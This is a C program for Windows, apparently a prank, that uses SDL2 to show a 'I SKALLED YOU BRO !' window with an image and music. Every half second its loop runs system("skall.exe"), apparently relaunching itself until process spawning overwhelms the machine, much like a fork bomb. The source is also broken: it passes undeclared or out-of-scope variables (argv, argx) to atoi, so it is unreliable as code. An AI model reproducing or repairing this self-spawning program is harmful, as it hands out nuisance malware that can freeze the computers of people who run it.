#include <stdio.h>
#include <windows.h>
#include <SDL2/SDL.h>
#include <SDL2/SDL_mixer.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>
#include <time.h>

int random_int(int min, int max);
int skallMain(void);
int windowSpammer(void);

int main(int argc, char *argv[])
{
    skallMain();

    return 0;
}

int skallMain(void)
{
    /* Initialisation de SDL2 */
	SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO);

/* *************************************************************** */

	/* Initialisations de fenetre + image */
	SDL_Window *window = NULL;
	window = SDL_CreateWindow("I SKALLED YOU BRO !", atoi(argv), atoi(argx), 200, 100, SDL_WINDOW_SHOWN);

	SDL_Renderer *renderer = NULL;
	renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED);
    if(renderer == NULL)
    {
        renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_SOFTWARE);
    }

	SDL_Surface *img = NULL;
	img = SDL_LoadBMP("skall.bmp");

	SDL_Texture *textureIMG = NULL;
	textureIMG = SDL_CreateTextureFromSurface(renderer, img);

	SDL_FreeSurface(img);


	if (img == NULL)
	{
		fprintf(stderr, "Erreur SDL_LoadBMP: '%s'\n",SDL_GetError());
		goto exit;
	}
	

	if (textureIMG == NULL)
	{
		fprintf(stderr, "Erreur SDL_CreateTextureFromSurface: '%s'\n", SDL_GetError());
		goto exit;
	}


/* *************************************************************** */


	/* Charger la musique */
	if (Mix_OpenAudio(44100, MIX_DEFAULT_FORMAT, 2, 2048) != 0)
	{
		fprintf(stderr, "Erreur Mix_OpenAudio: '%s'\n", SDL_GetError());
		goto exit;
	}
	Mix_Music *bgm = Mix_LoadMUS("vine.mp3");



/* *************************************************************** */


	/* boucle programme */
	unsigned int running = 1;
	while (running == true)
	{
		SDL_Event event;
		SDL_PollEvent(&event);
		if (event.type == SDL_QUIT)
		{
			running = false;
			goto exit;
		}else
        {
            /* afficher pour sûr, l'image */
		    SDL_RenderClear(renderer);
		    SDL_RenderCopy(renderer, textureIMG, NULL, NULL);
		    SDL_RenderPresent(renderer);

			// play sound
			Mix_PlayMusic(bgm, 1);


            //WindowSpam
			Sleep(500);
			windowSpammer();
        }
		
	}


/* *************************************************************** */


	exit:
	/* On détruit le renderer, la fenêtre, quitte SDL2, et libère de la RAM */
	SDL_DestroyRenderer(renderer);
	SDL_DestroyWindow(window);
	Mix_FreeMusic(bgm);
	Mix_Quit();
	SDL_Quit();
	return EXIT_SUCCESS;
}
int windowSpammer(void)
{
	system("skall.exe");

    return 0;
}